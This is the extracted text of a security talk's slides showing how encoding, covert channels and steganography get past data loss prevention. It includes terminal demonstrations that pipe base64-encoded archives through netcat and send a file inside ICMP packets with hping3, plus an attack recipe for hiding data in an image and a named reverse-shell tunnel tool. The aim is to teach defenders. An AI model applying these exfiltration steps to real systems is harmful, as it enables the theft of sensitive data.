DLP FAIL!!!

Using Encoding, Steganography and Covert Channels to Evade DLP and other Critical Controls
About Me

• Kevin Fiscus
• Owner – Cyber Defense Advisors
• 24 Years in IT
• 13 Years in security
• SANS Certified Instructor
• GIAC Security Expert
• Cyber Guardian Red/Blue Team
Data Loss

• Data loss is a significant threat
  – Identity theft
  – Financial theft/fraud
  – Intellectual property theft
  – Regulatory compliance failure
  – Usernames/passwords
  – Email addresses
From datalossdb.org

DataLossDB.org Incidents Over Time

Year | Incidents
--- | ---
2006 | 644
2007 | 775
2008 | 1048
2009 | 732
2010 | 833
2011 | 1105
2012 | 1667
2013 | 1535
2014 | 1268
2015 | 293
400% Increase

• 14 May 2015 – James Trainor, acting assistant director of the FBI’s Cyber Division stated the agency used to learn about a new, large-scale data breach every two to three weeks.

• Now it’s close to every two to three days
Additional Detail

- 31% - Hack
- 11% - Stolen Laptop
- 11% - Fraud/Social Engineering
- 9% - Web
- 57% - External
- 19% - Inside Accidental
- 11% - Inside Malicious

» Above from datalossdb.org
OK, So DLP

• Data Loss Prevention
  – Leakage?
  – Protection?

• Host-Based
  – Crawl hard drives looking for patterns
  – Block patterns from being used certain ways

• Network-Based
  – Scan network traffic for patterns
Sounds Great But...

• Tradeoffs must be made
  – Scan 100% of network traffic?
  – Crawl every hard drive?
  – Decompress archives?
  – Time
  – Performance
  – Scale

• Is DLP really a product?
DLP Evasion

• We will cover three basic approaches:
  – Encryption/Encoding
  – Covert Channels
  – Steganography

• There are more
DLP Bypass

• Regular expression to identify SSNs
  – ^(?!000)(([0-6]d{2}|7([0-6]d|7[012]))([- ](?!00)d\d3(?!0000)d{4})$)\n• Consider something simple - encoded SSNs

<p>| | | | | | | | | | | | | |</p>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td>7</td>
<td>8</td>
<td>9</td>
<td>10</td>
<td>11</td>
<td>12</td>
<td>13</td>
</tr>
<tr>
<td>MT</td>
<td>L</td>
<td>z</td>
<td>LT</td>
<td>Q</td>
<td>1</td>
<td>LT</td>
<td>Y</td>
<td>3</td>
<td>O</td>
<td>D</td>
<td>k</td>
<td>=</td>
</tr>
<tr>
<td>MT</td>
<td>E</td>
<td>x</td>
<td>LT</td>
<td>E</td>
<td>x</td>
<td>LT</td>
<td>E</td>
<td>x</td>
<td>MT</td>
<td>E</td>
<td>=</td>
<td></td>
</tr>
<tr>
<td>Mj</td>
<td>l</td>
<td>y</td>
<td>LT</td>
<td>l</td>
<td>y</td>
<td>LT</td>
<td>l</td>
<td>y</td>
<td>Mj</td>
<td>l</td>
<td>=</td>
<td></td>
</tr>
<tr>
<td>Mz</td>
<td>M</td>
<td>z</td>
<td>LT</td>
<td>M</td>
<td>z</td>
<td>LT</td>
<td>M</td>
<td>z</td>
<td>M</td>
<td>M</td>
<td>=</td>
<td></td>
</tr>
</tbody>
</table>
Detection

- Why not simply create signatures that detect the base64 version of sensitive data?
- Unfortunately, it’s not that simple

<table>
<thead>
<tr>
<th>Source</th>
<th>Base64 Encoded</th>
</tr>
</thead>
<tbody>
<tr>
<td>Secret</td>
<td>U2VjcmV0</td>
</tr>
<tr>
<td>Secret (1 leading space)</td>
<td>IFN1Y3J1dA==</td>
</tr>
<tr>
<td>Secret (2 leading spaces)</td>
<td>ICBTZWNyZXQ=</td>
</tr>
<tr>
<td>SECRET</td>
<td>U0VDUkVU</td>
</tr>
<tr>
<td>SECRET</td>
<td>UyBFIEMgUiBFIFQ=</td>
</tr>
</tbody>
</table>
Why Not Crypto?

• Good question, why not?
• No real reason – crypto can work for DLP bypass
• Limitation of Crypto
  – Key exchange/compromise
  – Crypto signature
  – Need additional tools (base64 is often built in)
  – Additional overhead
Exfiltration Example

```
[student@localhost ~]$ sudo su -
[root@localhost ~]# cd /tmp/base64/
[root@localhost base64]# ls
secret1.txt secret2.txt secret3.txt
[root@localhost base64]# cat secret1.txt
This is some really secret stuff. Do not share this with anyone! The secret code word is "Mothra".
[root@localhost base64]# cat secret2.txt
Bob Smith: 111-22-3333
Tom Jones: 123-45-6789
Sara Thomas: 999-88-7777
[root@localhost base64]# cat secret3.txt
Here are a bunch of credit card numbers that should not be stored in this format, but, what the heck. I like to live dangerously!

1111 2222 3333 4444
1234 5678 9098 7654
9999 0000 8888 5555

Don't tell anyone!
[root@localhost base64]# strings * | grep Mothra
This is some really secret stuff. Do not share this with anyone! The secret code word is "Mothra".
[root@localhost base64]# 
```
Exfiltration Example

```
[root@localhost base64]# tar -cf test1.tar *
[root@localhost base64]# file test1.tar
test1.tar: POSIX tar archive (GNU)
[root@localhost base64]# strings test1.tar | grep Mothra
This is some really secret stuff. Do not share this with anyone! The secret code word is "Mothra".
[root@localhost base64]# tar -czf test2.tgz *.txt
[root@localhost base64]# strings test2.tgz
Wd_X
^hZ@
;uJn`
[root@localhost base64]# file test2.tgz
[root@localhost base64]# cat test2.tgz > test3.b64
[root@localhost base64]# file test3.b64
test3.b64: ASCII text
[root@localhost base64]# cat test3.b64
H4sIAIQTFLMAA+3WzU7jMBAH8Jz9FAMXLpsqtpM44Yg4ABIn+gJu45KlJCIPZDqVvz6QRaLUH9gR
xfxUNWrjpl/+z0xW++iXMW3mHyXjJR5fjySf4+ZzHUilc6KPJPgmCSTsixNAtm3faK/TCFaD5B4
xC9/gf+dP1PrtgtAT4CDA+9s3x8gHPCehDjtdiu4RRiRHRxW04jz8n0XW7DjAuD3AevWfbxgi42D
PfpmvuDl8bW28uV0PVXZF9Y/jp12vxnZsm/NoXSS/6N5Pz/hBvcwNNAgb4GKWqVKqjWOMAD5Tv
QE8rneZFwpqqFk/Ww0o8DpZ01HwdVT1VKfdtwxs/Vkn990vxx9rdn/1S6Kpf8rzv9PuhPUnef0bmEz
jdsWcAe0I5qO2rmlTj50w8b5QI3fzjMATn1zHAc21PUj0kLoxmUq2KEfbPxDr6G7/bw80mjQuu3L
Cu6h715oekA6vjo7PjsPE6hPlwIqXVHgiIwlx7IiaDtKENBNQfqrK7ALEUuqN7UM08XqAgURIhb
HK/onVzff0wkXIsYY4wxwhhjjDHGGGOMMcYYY7/T03YKbmAAKAAA
[root@localhost base64]#```
Exfiltration Example

```
[root@localhost base64]# tar -cz *.txt | base64 | nc localhost 443

[student@localhost ~]$ sudo su -
[root@localhost ~]# cd /home/student/Desktop/Base64/
[root@localhost Base64]# nc -l -p 443 | base64 -d > secret.tgz
```
Exfiltration Example

```
[root@localhost base64]# tar -cz *.txt | base64 | nc localhost 443
^C punt!
[root@localhost base64]#
```

```
[root@localhost ~]$ sudo su -
[root@localhost ~]# cd /home/student/Desktop/Base64/
[root@localhost Base64]# nc -l -p 443 | base64 -d > secret.tgz
[root@localhost Base64]# ls
secret.tgz
[root@localhost Base64]# file secret.tgz
secret.tgz: gzip compressed data, from Unix, last modified: Tue Mar 4 10:01:58 2014
[root@localhost Base64]#
```
Exfiltration Example

```
[root@localhost Base64]# tar zxf secret.tgz
secret1.txt
secret2.txt
secret3.txt
[root@localhost Base64]# ls
secret1.txt  secret2.txt  secret3.txt  secret.tgz
[root@localhost Base64]# cat *.txt
This is some really secret stuff. Do not share this with anyone! The secret code word is "Mothra".
Bob Smith: 111-22-3333
Tom Jones: 123-45-6789
Sara Thomas: 999-88-7777
Here are a bunch of credit card numbers that should not be stored in this format, but, what the heck. I like to live dangerously!

1111 2222 3333 4444
1234 5678 9098 7654
9999 0000 8888 5555

Don't tell anyone!
[root@localhost Base64]#  
```
Covert Channels

• Placing data where nobody is looking
• Embedding data in:
  – ICMP Payload
  – IP ID Field
  – TCP Sequence Numbers
  – DNS Packets
Covert Channel Example

```
[student@localhost ~]$ sudo su -
[root@localhost ~]# cd /tmp/covert/
[root@localhost covert]# echo "This is super secret information" > secret
[root@localhost covert]#
[root@localhost covert]# tcpdump -n -X -i lo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
```

```
[root@localhost ~/tmp/covert]$ hping3 localhost --icmp --file ./secret -d 100 -c 1
```
Covert Channel Example

```
[root@localhost covert]# tcddump -n -X -i lo
tcddump: verbose output suppressed, use -v or -vv for full protocol decode
listening on lo, link-type EN10MB (Ethernet), capture size 65535 bytes
06:20:14.650346 IP 127.0.0.1 > 127.0.0.1: ICMP echo request, id 51471, seq 0, length 108
  0x0000: 4500 0080 40c8 0000 4001 3bb3 7f00 0001  E...@...@.;.....
  0x0010: 7f00 0001 0800 f1c7 c90f 0000 546e 973  This .is.super.secret
  0x0020: 2069 7320 7375 7065 7220 7365 6372 6574 .information....
  0x0030: 2069 6e66 6f72 6d61 7469 6f6e 0a00 0000  
  0x0040: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0050: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0060: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0070: 0000 0000 0000 0000 0000 0000 0000 0000  

06:20:14.650397 IP 127.0.0.1 > 127.0.0.1: ICMP echo reply, id 51471, seq 0, length 108
  0x0000: 4500 0080 d45a 0000 4001 a820 7f00 0001  E....Z...@
  0x0010: 7f00 0001 0000 f9c7 c90f 0000 546e 973  This .is.super.secret
  0x0020: 2069 7320 7375 7065 7220 7365 6372 6574 .information....
  0x0030: 2069 6e66 6f72 6d61 7469 6f6e 0a00 0000  
  0x0040: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0050: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0060: 0000 0000 0000 0000 0000 0000 0000 0000  
  0x0070: 0000 0000 0000 0000 0000 0000 0000 0000  
```
Covert Tunnel Tools

• Reverse WWW Shell – give external attacker a shell over what looks like http
• Ptunnel – embed TCP connections in ping
• Covert_TCP – place data in IP ID or TCP Sequence/Acknowledgement number fields
• Subrosa – send data from client to server using IPID, IP-TTL, TCP-SEQ, TCP-ACK, DNS-ID
Steganography

• Covered or concealed writing
• Hides the presence of a message, not necessarily the meaning
• Been around a long time
  – Write a message in wood, cover wood in wax, write another message in wax
  – Using different typefaces in printing press
  – Invisible ink
  – Morse code + yarn = message + sweater
  – Viet Nam POW eye blink T-O-R-T-U-R-E
Modern Stego

• Message + carrier file
  – Add data to carrier file
  – Replace less critical data within carrier file
  – Create new carrier file

• We’re going to focus on “easy” stego
  – No “special” tools required
Spam Mimic

Your message **This is secret information!** gets encoded into spam as:

Dear Friend; Thank-you for your interest in our publication. If you no longer wish to receive our publications simply reply with a Subject: of "REMOVE" and you will immediately be removed from our club! This mail is being sent in compliance with Senate bill 1816; Title 3; Section 304. This is not multi-level marketing. Why work for somebody else when you can become rich within 45 days. Have you ever noticed more people than ever are surfing the web & people love convenience! Well, now is your chance to capitalize on this. We will help you SELL MORE and SELL MORE! The best thing about our system is that it is absolutely risk free for you! But don't believe us! Mr Anderson of New Hampshire tried us and says "I was skeptical but it worked for me". We are a BBB member in good standing! If not for you then for your loved ones - act now. Sign up a friend and your friend will be rich too. Thanks. Dear Friend, Especially for you - this cutting-edge announcement. We will comply with all removal requests. This mail is being sent in compliance.
This is not a secret message at all.

These are not the droids you are looking for.

Well, actually, these are the droids you are looking for.

Move along, there is nothing to see here.
Well, actually, these are the droids you are looking for.
This is not a secret message at all.

These are not the droids you are looking for.

Move along, there is nothing to see here.
Microsoft Word

View

Back/Forward  Show All

Search Word Preferences

Show

- Drawings
- Object anchors
- Field codes
  - Field shading: When selected
- Comments on rollover
- Background colors and images in Print Layout View

Nonprinting characters

- Tab characters
- Spaces
- Paragraph marks
- Optional hyphens
- Hidden text
- All

Window

- Status bar
- Live Word Count
- Vertical ruler
- Horizontal scroll bar
- Vertical scroll bar
- Wrap to window

Description of preference

View
Control how Word displays your document and which types of objects appear on the screen.
This is not a secret message at all.

These are not the droids you are looking for.

Well, actually, these are the droids you are looking for.

Move along, there is nothing to see here.
File Compression

This is secret!
File Compression
File Compression

Administrator: C:\Windows\System32\cmd.exe

C:\temp>copy /b Hacker.jpg + Kevin.rar newimage.jpg
Hacker.jpg
Kevin.rar

1 file(s) copied.
C:\temp>

Administrator: C:\Windows\System32\cmd.exe

C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is C269-095F

Directory of C:\temp
04/29/2014  06:38 PM    <DIR>      .
04/29/2014  06:38 PM    <DIR>      ..
04/29/2014  06:32 PM    12,378 Hacker.jpg
04/29/2014  08:43 AM    83   Kevin.rar
04/29/2014  08:41 AM    15   Kevin.txt
04/29/2014  06:35 PM    12,461 newimage.jpg
03/24/2013  09:26 AM    20   text.txt
                         5 File(s)  24,957 bytes
                         2 Dir(s)  48,893,485,056 bytes free
C:\temp>
File Compression
File Compression

Command Line Output:

```
C:\temp>copy newimage.jpg newimage.rar
1 file(s) copied.
C:\temp>dir
Volume in drive C has no label.
Volume Serial Number is C269-095F
Directory of C:\temp
04/29/2014  06:41 PM        <DIR>   .
04/29/2014  06:41 PM        <DIR>   ..
04/29/2014  06:32 PM       12,378 Hacker.jpg
04/29/2014  08:43 AM       83 Kevin.rar
04/29/2014  08:41 AM       15 Kevin.txt
04/29/2014  06:35 PM       12,461 newimage.jpg
04/29/2014  06:35 PM       12,461 newimage.rar
03/24/2013  09:26 AM       20 text.txt
6 File(s)   37,418 bytes
2 Dir(s)    48,893,468,672 bytes free
C:\temp>
```
File Compression
File Compression
Attack Anatomy

• Create benign document in MS Word
• Add sensitive data using “hidden” font
• Encode Word doc using base64 – write to a file
• Archive the file using WinRAR
• Append archive to JPG image
• Send modified JPG to target
  – Using covert channel (optional)
  – Via post to Craigslist
  – Via email
Detection Made Hard

• If you detect the communication method, you find a benign image file
• If you detect the appended RAR data you get base64 encoded data
• If you decode the base64, you get a Word doc
• Only if you reconfigure Word to display hidden fonts do you find the actual data
• What if the hidden font data consisted of the base64 representation of an encrypted file?
So What?

• DLP can be great technology but is primarily used to stop the 19% of accidental, internal breaches

• Stopping malicious, intentional breaches is MUCH harder and can’t be done simply by deploying a tool

• Real DLP requires a complete and comprehensive security program, there are not silver bullets
Questions

Kevin Fiscus
Cyber Defense Advisors
kfiscus@cdasecurity.com
http://www.cdasecurity.com